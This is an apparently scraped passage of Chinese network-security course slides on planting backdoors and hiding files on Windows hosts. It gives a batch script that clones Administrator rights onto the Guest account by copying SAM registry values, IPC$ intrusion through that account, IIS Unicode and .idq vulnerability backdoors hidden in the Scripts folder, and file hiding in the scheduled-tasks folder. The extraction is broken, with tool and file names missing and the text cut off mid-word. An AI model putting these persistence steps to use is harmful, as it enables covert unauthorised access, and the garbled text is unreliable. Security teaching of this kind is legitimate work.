學(xué)習(xí)情境二主機(jī)入侵技術(shù)的應(yīng)用與防護(hù)任務(wù)七留后門(mén)與信息(文件)
【正文】 防護(hù) 留后門(mén)與信息的隱藏 ? 步驟八：使用 Guest賬號(hào)進(jìn)行 IPC$入侵 項(xiàng)目二、留后門(mén)技術(shù)的攻擊方法 網(wǎng)絡(luò)安全與防護(hù) 留后門(mén)與信息的隱藏 命令行方式克隆賬號(hào) ? 使用命令行方式克隆賬號(hào)需要工具： ? :命令行下的注冊(cè)表編輯工具 ? :權(quán)限提升工具 ? :查看遠(yuǎn)程主機(jī)進(jìn)程 ? 步驟一：編寫(xiě) BAT文件 ? psu –p “regedit /s ” –i %1 ? psu –p “reg copy hklm\SAM\SAM\Domains\Account\Users\000001F4\f hklm\SAM\SAM\Domains\Account\Users\000001F5\f” –i %1 ? user guest /active:yes ? user guest 123456789 ? user guest /active:no ? del ? del ? del ? del 項(xiàng)目二、留后門(mén)技術(shù)的攻擊方法 網(wǎng)絡(luò)安全與防護(hù) 留后門(mén)與信息的隱藏 ? 步驟二：使用 System進(jìn)程 PID，使用命令為“ pslist \\ip – u 用戶名 – p 密碼” ? 步驟三：上傳 ，執(zhí)行克隆命令 ? 步驟四：進(jìn)行驗(yàn)證，退出 項(xiàng)目二、留后門(mén)技術(shù)的攻擊方法 網(wǎng)絡(luò)安全與防護(hù) 留后門(mén)與信息的隱藏 （二）漏洞后門(mén) ? 制造 Unicode漏洞 ?步驟一：找出 Web根目錄 ?步驟二：拷貝 IIS目錄中，一般可放在 IIS的Scripts文件夾中 ?步驟三：使用文件隱藏方法隱藏文件 ?步驟四：驗(yàn)證 Unicode后門(mén) ? 制造 .idq漏洞 ?步驟一：把 Scripts目錄中 ?步驟二：隱藏后門(mén)文件 ?步驟三：利用 idq或 ida漏洞進(jìn)行入侵，驗(yàn)證。實(shí)際上，這些文件夾也是可以存放文件的，而且非常隱藏 項(xiàng)目一、信息隱藏技術(shù)的攻擊方法 網(wǎng)絡(luò)安全與防護(hù) 留后門(mén)與信息的隱藏 使用系統(tǒng)文件夾隱藏文件實(shí)例 ? 步驟一：將文件拷貝到計(jì)劃任務(wù)文件夾下 項(xiàng)目一、信息隱藏技術(shù)的攻擊方法 網(wǎng)絡(luò)安全與防護(hù) 留后門(mén)與信息的隱藏 ? 步驟二：在 dos下查看計(jì)劃任務(wù)文件夾的內(nèi)容 項(xiàng)目一、信息隱藏技術(shù)的攻擊方
環(huán)評(píng)公示相關(guān)推薦
鄂ICP備17016276號(hào)-1